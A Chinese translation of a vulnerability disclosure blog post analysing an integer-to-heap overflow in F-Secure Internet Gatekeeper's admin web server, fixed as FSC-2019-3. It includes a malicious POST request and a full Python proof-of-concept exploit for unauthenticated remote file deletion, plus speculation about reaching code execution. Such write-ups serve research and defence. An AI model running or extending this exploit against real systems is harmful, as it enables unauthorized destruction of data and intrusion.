F-Secure Internet Gatekeeper堆溢出漏洞分析与利用

本文详细分析了F-Secure Internet Gatekeeper中存在的堆溢出漏洞,包括漏洞成因、利用方法及PoC代码。通过Content-Length头处理不当导致的整数溢出,攻击者可实现未授权远程代码执行。

Heap Overflow in F-Secure Internet Gatekeeper

F-Secure Internet Gatekeeper堆溢出详解

这篇博文展示了我们在F-Secure Internet Gatekeeper应用中发现的漏洞。它说明了如何通过一个简单的错误导致可被利用的未授权远程代码执行漏洞。

复现环境设置

所有测试应在CentOS虚拟机中复现,至少需要1个处理器和4GB内存。

需要安装F-Secure Internet Gatekeeper。过去可以从https://www.f-secure.com/en/business/downloads/internet-gatekeeper下载。据我们所知,供应商不再提供易受攻击的版本。

原始受影响包的SHA256哈希值为: 1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26。

安装步骤:

(1) 如果使用x64版本的CentOS,执行yum install glibc.i686 (2) 使用rpm -I <fsigkbin>.rpm安装Internet Gatekeeper二进制文件 (3) 为了更好的调试体验,安装gdb 8+和https://github.com/hugsy/gef

现在你可以使用GHIDRA/IDA或你喜欢的反汇编器/反编译器开始逆向工程Internet Gatekeeper!

目标

正如F-Secure所描述的,Internet Gatekeeper是"在网关级别为企业网络提供高效且易于管理的保护解决方案"。

F-Secure Internet Gatekeeper包含一个运行在9012/tcp端口的管理面板。这可用于控制产品中所有可用的服务和规则(HTTP代理、IMAP代理等)。这个管理面板通过用C语言编写的fsikgwebui二进制文件在HTTP上提供服务。实际上,整个Web服务器都是用C/C++编写的;有一些对civetweb的引用,表明可能使用了定制版本的CivetWeb。

它用C/C++编写的事实引导我们寻找内存损坏漏洞,这在这种语言中通常很常见。

通过使用Fuzzotron(使用Radamsa作为底层引擎)对管理面板进行模糊测试,我们很快发现了这篇博文中描述的问题。fuzzotron具有内置的TCP支持,可以轻松模糊网络服务。作为种子,我们提取了一个有效的POST请求,用于更改管理面板上的语言。这个请求可以由未经身份验证的用户执行,这使其成为很好的模糊测试种子。

在分析由radamsa变异的输入时,我们可以很快看到漏洞的根本原因围绕Content-length头。导致软件崩溃的生成测试具有以下头值:Content-Length: 21487483844。这表明由于不正确的整数数学运算导致了溢出。

通过gdb运行测试后,我们发现导致崩溃的代码位于fs_httpd_civetweb_callback_begin_request函数中。此方法负责处理传入连接,并根据使用的HTTP动词、路径或cookie将它们分派到相关函数。

为了演示这个问题,我们将向运行管理面板的9012端口发送一个POST请求。我们设置一个非常大的Content-Length头值。

1
2
3
4
5
POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844

AAAAAAAAAAAAAAAAAAAAAAAAAAA

应用程序将解析请求并执行fs_httpd_get_header函数来获取内容长度。随后,内容长度被传递给函数strtoul(字符串到无符号长整型)

以下伪代码提供了控制流的摘要:

1
2
3
4
content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
   content_len_new = strtoul(content_len_old, 0, 10);
}

通过阅读相应的手册页可以理解strtoul函数中到底发生了什么。strtoul的返回值是一个无符号长整型,其最大可能值为2^32-1(在32位系统上)。

strtoul()函数返回转换的结果,或者如果有一个前导减号,则返回转换结果的否定表示为无符号值,除非原始(非否定)值会溢出;在后一种情况下,strtoul()返回ULONG_MAX并将errno设置为ERANGE。strtoull()完全相同(用ULLONG_MAX代替ULONG_MAX)。

由于我们提供的Content-Length对于无符号长整型来说太大,strtoul将返回ULONG_MAX值,在32位系统上对应于0xFFFFFFFF。

到目前为止一切顺利。现在出现了实际的错误。当fs_httpd_civetweb_callback_begin_request函数尝试发出malloc请求为我们的数据腾出空间时,它首先向content_length变量加1,然后调用malloc。

这可以在以下伪代码中看到:

1
2
// fs_malloc == malloc
data_by_post_on_heap = fs_malloc(content_len_new + 1)

这导致了一个问题,因为值0xFFFFFFFF + 1将导致整数溢出,结果为0x00000000。所以malloc调用将分配0字节的内存。

Malloc确实允许使用0字节参数调用。当调用malloc(0)时,将返回一个指向堆的有效指针,指向最小可能块大小为0x10字节的分配。具体内容也可以在手册页中阅读:

malloc()函数分配size字节并返回指向已分配内存的指针。内存未初始化。如果size为0,则malloc()返回NULL,或返回一个唯一的指针值,该值以后可以成功传递给free()。

如果我们进一步查看Internet Gatekeeper代码,可以看到对mg_read的调用。

1
2
3
4
5
// content_len_new没有加0x1。
// 所以content_len_new == 0xFFFFFFFF
if(content_len_new){
    int bytes_read = mg_read(header_struct, data_by_post_on_heap, content_len_new)
}

在溢出期间,这段代码将在没有任何限制的情况下将任意数量的数据读取到堆上。对于利用来说,这是一个很好的原语,因为我们可以停止向HTTP流写入字节,软件将简单地关闭连接并继续。在这种情况下,我们可以完全控制要写入的字节数。

总之,我们可以利用Malloc的0x10大小的块,用任意数据溢出以覆盖现有的内存结构。以下概念验证证明了这一点。尽管非常原始,但它通过翻转标志来利用堆上的现有结构,使should_delete_file = true,然后随后用我们要删除文件的完整路径喷洒堆。Internet Gatekeeper内部处理程序有一个decontruct_http方法,它查找此标志并删除文件。通过利用此漏洞,攻击者获得任意文件删除权限,这足以证明问题的严重性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
import time
import sys

def send_payload(payload, content_len=21487483844, nofun=False):
    r = remote(sys.argv[1], 9012)
    r.send("POST / HTTP/1.1\n")
    r.send("Host: 192.168.0.122:9012\n")
    r.send("Content-Length: {}\n".format(content_len))
    r.send("\n")
    r.send(payload)
    if not nofun:
        r.send("\n\n")
    return r

def trigger_exploit():
    print "Triggering exploit"
    payload = ""
    payload += "A" * 12             # Padding
    payload += p32(0x1d)            # Fast bin chunk overwrite
    payload += "A"* 488             # Padding
    payload += p32(0xdda00771)      # Address of payload
    payload += p32(0xdda00771+4)    # Junk
    r = send_payload(payload)

def massage_heap(filename):
        print "Trying to massage the heap....."
        for x in xrange(100):
            payload = ""
            payload += p32(0x0)             # Needed to bypass checks
            payload += p32(0x0)             # Needed to bypass checks
            payload += p32(0xdda0077d)      # Points to where the filename will be in memory
            payload += filename + "\x00"
            payload += "C"*(0x300-len(payload))
            r = send_payload(payload, content_len=0x80000, nofun=True)
            r.close()
            cut_conn = True
        print "Heap massage done"

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print "Usage: ./{} <victim_ip> <file_to_remove>".format(sys.argv[0])
        print "Run `export PWNLIB_SILENT=1` for disabling verbose connections"
        exit()
    massage_heap(sys.argv[2])
    time.sleep(1)
    trigger_exploit()
    print "Exploit finished. {} is now removed and remote process should be crashed".format(sys.argv[2])

当前漏洞利用的可靠性约为总尝试次数的60-70%,并且我们的漏洞利用PoC依赖于先决条件中列出的特定机器。

获得RCE绝对应该是可能的,因为我们可以控制确切的块大小并在小块上覆盖任意多的数据。此外,应用程序使用多个线程,可以利用这些线程进入干净的堆区域并多次尝试利用。如果你有兴趣与我们合作,请将你的RCE PoC发送到info@doyensec.com ;)

这个严重问题被跟踪为FSC-2019-3,并在F-Secure Internet Gatekeeper版本5.40 – 5.50 hotfix 8 (2019-07-11)中修复。我们要感谢F-Secure的合作。

学习堆利用的资源

漏洞利用演练

  • Linux堆利用入门系列:Set you free() – 第1部分
  • Linux堆利用入门系列:Set you free() – 第2部分

GLibC演练

  • GLibC Malloc for Exploiters - YouTube
  • 理解GLibC实现 - 第1部分
  • 理解GLibC实现 - 第2部分

工具

  • GEF - GDB的附加组件,用于辅助利用。此外,它还有一些有用的命令用于堆利用调试
  • Villoc - 堆的可视化HTML表示
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计